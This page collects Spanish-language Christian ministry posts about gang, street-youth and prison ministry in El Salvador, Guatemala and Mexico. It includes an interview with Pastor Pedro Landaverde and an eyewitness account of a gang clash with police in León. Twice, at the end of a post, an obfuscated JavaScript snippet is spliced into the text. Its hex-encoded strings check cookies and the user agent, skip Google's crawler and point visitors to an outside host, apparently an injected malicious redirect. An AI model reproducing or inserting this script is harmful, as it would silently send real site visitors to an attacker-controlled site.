Pastoreando en los lugares difíciles

Entrevista con el Pastor Pedro Landaverde
Por Andyra Polanco
Publicado Originalmente en PAX Noticias

Desde el año 2009 el pastor Pedro Landaverde trabaja en la Comunidad marginal LA IBERIA, con proyectos que buscan la transformación de esa comunidad (reconocida por la dominación de las pandillas). Entre los proyectos impulsados están: formación de una panadería, elaboración  de productos de limpieza, establecimiento de una escuela Parvularia con el enfoque en prevención de violencia. Además es fundador de CAVAR.

CAVAR es  un Comité con Acción en Valores del Reino, eso quieren decir sus siglas. Se formó allá por el año 2006, visitando los lugares donde están los jóvenes en situación de calle; son muchachos que huelen pega, unos duermen bajo el puente, o se quedan en el parque, a la intemperie. Esa es la condición de vida de ellos. Este grupo está por la Plaza El Trovador; en esos lugares se mantienen  durante el día y la noche.
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Otra versión de las Buenas Nuevas en El Salvador

Me gustaría reportar sobre algo emocionante que está llevándose a cabo en El Salvador entre los evangélicos e iglesias Cristianas Pentecostales. En respuesta a la desigualdad en la situación social de pobreza, corrupción y violencia, una nueva generación de Evangélicos Centro Americanos y Pentecostales están comenzando a descubrir que a pesar de las dimensiones sociales de conversión que viene a través del evangelismo, el evangelismo sin compromiso social es una interpretación incompleta de la gran comisión y falla en tomar con seriedad la encarnación de Cristo.

Un ejemplo de esto está en la gran iglesia Pentecostal Elim Misión Internacional. Mientras que se mantienen firmes sobre la necesidad de una regeneración personal, el Pastor Mario Vega y su equipo en Elim han comenzado a hablar sobre el involucramiento en la estructura de maldad en la sociedad. “No es suficiente solo predicar el evangelio o dar ayuda al pobre,” me dijo el pastor Vega hace poco. “Debemos denunciar en contra de y tratar de cambiar esas condiciones que causan pobreza.” Esas actitudes han comenzado a ser más y más prevalecientes entre ciertos grupos de evangélicos y Pentecostales, y tan cerca como puedo rastrearlo, son el resultado de una lectura cuidadosa de los evangelios y de la alguna manera la influencia silenciosa de la Fraternidad Teológica Latinoamericana basada en Argentina.

En El Salvador, cientos de lideres Evangélicos han sido capacitados por Semillas, un afiliado de la Fraternidad Teológica, dirigida por Eliberto Juárez. La orientación teológica de Semillas es dirigida hacia ministerios que son siempre sociales e incluso políticos al mismo tiempo que son espirituales. En sus dos años de programa de capacitación, ellos enfatizan lo que llaman ministerio integral – un énfasis en intención integral de la encarnación de Dios de no dejar ningún humano, ni ningún rincón de la tierra sin ser tocado por Su amor, en consecuencia integrando cada aspecto de la vida en el mensaje redentor de buenas nuevas.

Ha habido muchos resultados notables del trabajo de Semillas y de otros ministerios que compartes ideas similares. Permítanme subrayar solo uno que ha hecho un gran impacto en mi. Este ministerio fue generado por Pastor Pedro Landaverde, una pastor de zona en Misión Elim. Pastor Pedro comenzó a trabajar en la violenta y dirigida por pandillas Comunidad Iberia hace un poco más de dos años, trabajando especialmente con jóvenes y pandillas.

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Sin embargo, en lugar de predicar sobre salvación y hacer campañas evangelisticas, él decidió solo llegar a conocer a estos jóvenes y escuchar cuidadosamente de sus necesidades. Todo esto condujo a una cena Navideña con los lideres de las pandillas y sus familias atendidos por el pastor Pedro y el Pastor Mario Vega. En esta cena ellos hicieron estrategias con estos lideres a cerca de que clase de programas los ayudarían a llenar algunas de sus necesidades materiales y económicas. Lo que dio como resultado de esto fue el desarrollo de una panadería donde los miembros de pandillas son capacitados y donde ellos trabajan, y una fábrica de cloro donde ellos hacen y venden cloro como un suplemento de limpieza. La motivación fue simplemente extender el amor de Cristo dentro de todos los aspectos de la vida comunitaria.

En las palabras del pastor Pedro, la violencia de las pandillas fue finalmente neutralizada, y recién abrieron una escuela para niños la que está fuerte. Además, muchos miembros de pandillas se han convertido en Cristianos y están participando activamente en grupos celulares. Pastor Pedro me dijo que “hacer a Jesús de nuestras vidas debe significar más que solo moralidad personal – debe extenderse hacia el exterior a todos los aspectos de la vida, tiene que ver con la justicia en todas las esferas de la vida, y debe tratarse de llevar Shalom a todas las personas ya sea que oficialmente se conviertan en Cristianos o no.”

Esta es una emocionante y relativamente nueva aplicación de la misión Cristiana dentro del evangelismo y no solamente estáé ayudando a cambiar estructuras sociales locales de pobreza y violencia, sino está también retando las vidas mismas de evangélicos Salvadoreños.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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Ecumenismo Misional en los márgenes

Publicado originalmente en inglés en la Revista Centro.  Usado con permiso.

El ministerio con pandillas nos ha preparado bien para el trabajo ecuménico! ¿Cómo es eso? Hace 20 años cuando mi esposa Jenny y yo comenzamos el ministerio de Cambio Interno entre los miembros latinos de pandillas en San Francisco, los jóvenes pandilleros tiraron por el suelo el guante ecuménico: “Ustedes nos hablan de paz, y nos ruegan que dejemos de matarnos entre sí. Pero ¿que de ustedes Cristianos? ¿Por qué no tienen paz entre ustedes?”

Pregunta difícil. Sin embargo este mismo desafío resuena a través de la historia y alrededor del mundo. Los pobres buscan esperanza en el horizonte Cristiano… frecuentemente en vano. Estas dolorosas realidades confrontan tanto a la misión de la Iglesia y su ecumenismo. Consideremos una respuesta fresca: “Ecumenismo Misional en los Márgenes”.
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La esperanza del mundo

 “Ustedes son la luz del mundo. Una ciudad en lo alto de un monte no se puede esconder. Ni se enciende una lámpara para cubrirla con un cajón. Por el contrario, se pone en la repisa para que alumbre a todos los que están en casa. Así alumbre su luz delante de las personas, para que vean sus buenas obras y glorifiquen al Padre que está en el cielo.” (Mat. 5:14-16)

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Ayer, por primera vez en mi vida, presencié una “campal.” En León Guanajuato se le llama así a una lucha entre pandillas, o como en el caso de ayer, a un intercambio de balas y rocas entre pandilleros y policías. Todo inició porque un hombre de la localidad donde está ubicada nuestra iglesia baleó a dos miembros de la pandilla los Calas. A uno lo dejó gravemente herido, al borde de la muerte. Estaba a punto de darle el “tiro de gracia” cuando unos policías llegaron y le quitaron el arma.

No conozco bien las razones del suceso. Cuando yo llegué al lugar ya se habían llevado a los dos heridos, y había muchas opiniones y especulaciones sobre lo ocurrido. Pero sí fui testigo del mayor acto de violencia que hubiera presenciado en vivo en toda mi vida. Los padres y hermanos de los jóvenes heridos apedreaban la casa del hombre que los baleó, tratando de entrar para vengarse de la esposa y los hijos del hombre. De adentro de la vivienda se escuchaban disparos, que los de la casa lanzaban para defenderse de quienes intentaban entrar para lincharlos. Todo esto a pesar de que ya la policía se había llevado al hombre que había herido a los jóvenes. Como muchos otros, yo corrí para refugiarme de los disparos y las piedras.

Al momento llegaron muchas patrullas de la policía, y los oficiales dispersaron a la enfurecida familia de los jóvenes baleados. Pero no hubo detenidos, ni inspección de la casa del hombre baleador, a pesar de que muchos vecinos aseguraban que había armas de grueso calibre en el lugar. Cuando me acerqué a un oficial para indicarle que si no revisaban la vivienda para confiscar las armas la espiral de violencia aumentaría, su respuesta fue: “Eso no nos compete a nosotros, tendrán que poner una denuncia ante la policía federal” (en México hay policías, municipales, estatales y federales). Mientras tanto, los hermanos de los jóvenes heridos no cesaban de gritar a los policías, “Si ustedes no hacen nada, nosotros sí lo haremos, para que después no vengan a quejarse,” y “la violencia reina aquí en la Diez de mayo.” La respuesta de un oficial fue: “Hagan lo que quieran.”

Lo que ocurrió a continuación resultó para mí muy enredado y difícil de entender. En otro lugar de la localidad, cerca de donde había sucedido lo de los jóvenes baleados, policías y miembros de los Calas se enfrascaron en una enorme “batalla” campal, aquellos con balas y laces lacrimógenos, mientras que los Calas con rocas, palos y cuanta cosa pudieron encontrar. Ni siquiera estoy seguro de cómo inició todo. Nuevamente, llegué al lugar después de que lo peor había pasado, con la intención de sacar de ahí a algunos Calas amigos que nuestra iglesia ha tratado de alcanzar para Cristo.

Después que los llevamos a su casa, regresé al lugar para ver si podíamos ayudar de alguna manera. Resultó que los policías habían iniciado el zafarrancho. Sin autorización ni orden de cateo, entraron al hogar de dos de los muchachos, y ahí mismo los golpeaban a ellos y sus familias (incluyendo niños, mujeres y ancianos). Más de cincuenta miembros de la pandilla que observaban todo no se contuvieron, y al grito de “sobre de ellos,” llovieron con piedras y palos a los policías. La razón por la cual estos oficiales que aparentemente no podían entrar en la casa donde había armas sí lo hicieron en los hogares de los Calas la entendí después: el hombre que baleó a los jóvenes había sido anteriormente comandante de la policía. No puedo estar seguro de esto, pero sospecho fuertemente que los policías iniciaron la campal para distraer a los Calas de linchar a la familia del ex comandante baleador.

Sin embargo, esta acción lo que hizo fue enfurecer más a los Calas. Cuando me enteré de que los hermanos de los jóvenes baleados planeaban “madrugar” a la familia del ex comandante para lincharlos, regresé a su casa para advertirle a la madre que se fuera inmediatamente con sus hijos. Tuvimos que sacarla a ella y a una hija suya a escondidas, pues la vigilancia de la familia de los jóvenes baleados era incesante.

En medio de toda esta violencia, yo miraba la gran cantidad de niños que eran testigos de lo ocurrido, aprendiendo desde pequeños la manera “normal” en la que se “resuelven” los conflictos en la Colonia Diez de Mayo. Incluso en una de las casas donde los policías entraron para golpear personas, se estaba llevando a cabo una fiesta infantil. Todos los niños presentes participaron de la campal como lo más lógico que debían hacer. Muchos de ellos miran a los Calas como “héroes” valientes y dignos de imitar.

Ahora bien, para mis hermanos y hermanas que ministran diariamente en contextos de violencia generalizada en Centroamérica y otras latitudes, la experiencia que acabo de narrar es “el pan de todos los días.” Pero para mí constituyó una experiencia nueva y reveladora,  y aunque esta clase de cosas se dan muy seguido en la comunidad donde está nuestra iglesia Camino de Vida, yo nunca había presenciado una tan directamente.

Camino de Vida está ubicada en un contexto caracterizado por la violencia, la drogadicción, el alcoholismo, los embarazos en adolescentes y el suicidio. Hemos contado más de quince pandillas en los alrededores de nuestra congregación. Por lo mismo, hemos tomado el texto de Mateo 5 que aparece arriba como la mayor imagen eclesiológica que define nuestra iglesia. El tercer punto de la visión de Camino de Vida dice que somos un “faro de la luz de Cristo para nuestra comunidad.” Al menos intentamos serlo, mediante ministerios integrales a la niñez, las chicas adolescentes, los pandilleros y en el área de la educación.

Personalmente estoy convencido de la verdad de la expresión que le escuché por primera vez al pastor Bill Hybels: “La iglesia local es la esperanza del mundo”. Estoy convencido de que, por la gracia y el poder de Dios, la Colonia Diez de Mayo llegará a ser un lugar diferente mediante la presencia y obra de Camino de Vida. Y desde luego, esto aplica a todas las iglesias y ministerios que buscan transformar sus comunidades con el poder y la verdad del evangelio de Jesucristo y sus obras concretas de compasión.

Así que desde mi propia trinchera envío mis palabras de admiración y aliento para todos los consiervos que trabajan y sufren para que la salvación de Cristo llegue a todas esas comunidades heridas. ¡Ánimo hermanos! Tengan por seguro que su obra no es en vano.

Mauricio Acuña
Misionero, plantador de Iglesias en Méxicovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Gólgota: Lugar de la Calavera

El arte siempre ha sido un medio de expresión que da identidad a las personas y los grupos.

Es por eso que un joven que entra a formar parte de una pandilla se tatúa el símbolo característico de su grupo como parte del proceso de “iniciación” o ingreso a la banda. Esto me fue muy notorio hace poco, cuando vi a un joven de unos 20 años raparse el cabello. Tenía una figura de “Popeye el Marino” tatuada en la parte trasera de su cráneo. Cuando le pregunté por qué se había hecho el tatuaje, la respuesta fue más que obvia: pertenecía a la banda “los Popeyes.” Yo sólo pensaba en el dolor físico que habría experimentado ese joven cuando se hizo el tatuaje, mientras que para él lo importante era portar la imagen de su grupo. Y cuanto más notoria, mejor.

En las distintas clases de la maestría en Misión Urbana, el profesor Joel Van Dyke repetidamente nos ha enfatizado el valor y la importancia del uso del arte para la comunicación del mensaje cristiano. Nos ha recalcado que el uso de las distintas artes (pintura, música, teatro, escultura, etc.) forma parte integral del ministerio en un contexto urbano. Yo, la verdad, nunca le había puesto demasiada atención a este asunto.

Probablemente porque no soy alguien muy inclinado a apreciar las manifestaciones artísticas (con excepción de la literatura y el cine, los cuales disfruto mucho). Sin embargo, hace poco tuve que reconsiderar mi posición a este respecto para darle mayor crédito a las enseñanzas del profesor.
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¡Guantes en mano!

La Colonia 10 de Mayo es la tercera con mayor cantidad de grupos pandilleros en la ciudad de León, en el Estado de Guanajuato, México. León posee uno de los índices más altos de México en cuanto a drogadicción, alcoholismo, intentos de suicidio y embarazos no planeados. Como es de esperarse, muchos niños, adolescentes y jóvenes pertenecientes a grupos pandilleros (e incluso muchos que no forman parte de estos grupos) en la 10 de Mayo están atrapados en uno o varios de estos problemas sociales.

Allí, en el centro mismo de la 10 de Mayo la iglesia Centro Familiar Camino de Vida inició un ministerio juvenil llamado Cosecha Joven, cuyo líder es Jorge Mario Acuña, de Costa Rica. En su país Jorge había practicado el boxeo antes de conocer a Cristo, llegando incluso a ser campeón de su región. Actualmente, Cosecha Joven busca alcanzar a los “chavos” de la pandilla “Las Calas” (Calaveras) mediante clases gratuitas de boxeo por las noches. Antes de cada sesión de práctica, Jorge o yo impartimos a los asistentes un mensaje bíblico evangelístico y oramos por sus necesidades. La primera vez que fuimos a invitar a los chavos de las Calas a las clases de box, encontramos a varios de ellos fumando marihuana e inhalando solvente a la vista de todos.
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137 escalones

Para algunos de nosotros que hemos visitado este asentamiento de la ciudad de Guatemala en alguna ocasión, o quienes suben y bajan a diario el acceso norte a la Escuelita Vidas Plenas en La Limonada, las gradas son casi una tortura.  Una cuesta pronunciada que te mantiene con la respiración entrecortada desde los primeros escalones… Pero en una oportunidad, alguien dió cada paso de este camino mientras conversaba con Dios: orando con los ojos abiertos.

Originalmente escrito hace ya algunos años, este poema captura lo que muchos otros visitantes de este ministerio han visto también como parte de la acción de Dios en los lugares difíciles.


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Tatuajes y luces brillantes

Sentado en un piso de concreto en medio de un pasillo del sector de pandilleros, estoy rodeado de algunos los criminales jóvenes más infames de Guatemala. Ellos están encuclillados a lo largo de las paredes y aprenden fuera de las puertas de su celda a escuchar.

Sus rostros, cabezas, cuellos, hombros, brazos y cuerpos están cubiertos con tatuajes. Símbolos mayas, términos de pandillas estadounidenses en las letras e imágenes inquietantes de horror y muerte. Mucha de la tinta cubre el tejido distorsionado de heridas de arma blanca y balas.

El Nuevo Testamento en Español está doblado hacia atrás en mi mano al final de Hechos 7, y vamos a ver si hay una conexión entre  la historia escrita en estas páginas y las escritas en sus cuerpos y memorias.
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La llamada

En mi teléfono, tengo el número de una amiga que casi nunca me llama.  Su nombre es Lourdes(*).  La semana pasada, recibí una llamada y la pantalla de mi teléfono se iluminó con el nombre de ella.  Me sorprendí y contesté sonriendo, pensando en porqué me estaba llamando.  Entonces, escuché una voz de hombre al otro lado, diciéndo “¿Estoy hablando con Liz?”  Mi corazón se detuvo por dos segundos. La voz del hombre  me hizo recordar que a Lourdes, le habían robado el teléfono hacía dos semanas, y lo primero que vino a mi mente, fue que los ladrones estaban llamando a los contactos del teléfono robado y que iban a empezar a extorsionarme.


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Rompiendo el molde

Por Marvin García

Durante 10 años que he estado trabajando con jóvenes, he escuchado cientos y cientos de predicas de cómo trabajar con ellos, cientos de procesos, miles de experiencias, docenas de consejos que fui almacenando en mi corazón y creando una imagen de lo que era trabajar con ellos…el tiempo pasó y creí haber aprendido todo lo necesario para así poder llamarme el “Súper Pastor de Jóvenes” el que todo lo sabia, pero eso llegó el día de mi prueba, el día que iba a poner a prueba todo lo que había aprendido, el día que iba a romper el molde…Todo empezó cuando por primera vez visite la cárcel de máxima seguridad, “El Boquerón.” El pastor Edwin Solís me había invitado para ser parte de un proyecto de capellanes de la Estrategia de Transformación que tenía ya varios meses, cuando entré a esta prisión lo primero que me dio la bienvenido fue “El Pasillo de la Muerte,” un oscuro pasillo que dos grandes puertas que me separaban del mundo que yo conocía y me adentraba a un mundo que nunca jamás había visto. No puedo decirte que pasó ese día. No pronuncié ninguna palabra, solo miraba rostros pintados, ojos que pedían droga, pies desnudos y listos para correr. No tuve palabras en mi boca, trataba de recordar todas las veces que había asistido a congresos, trataba de recordar todas las predicas que había escuchado, tratada de recordar algo que me hiciera hablar…pero mi mente no respondía. Al salir y cuando pude respirar el aire de libertad, empezaron a venir a mi mente muchas ideas para hacer dentro de la prisión: preparar estudios bíblicos, preparar actividades, preparar una serie de estudios bíblicos que me llevaran a enseñar todo lo que había aprendido… pero las palabras de mi amigo Edwin fueron, “NO, conocélos primero y deja que ellos te conozcan.” Para mi fue la respuesta menos espiritual que nunca antes había escuchado… pero por alguna razón le haría caso.


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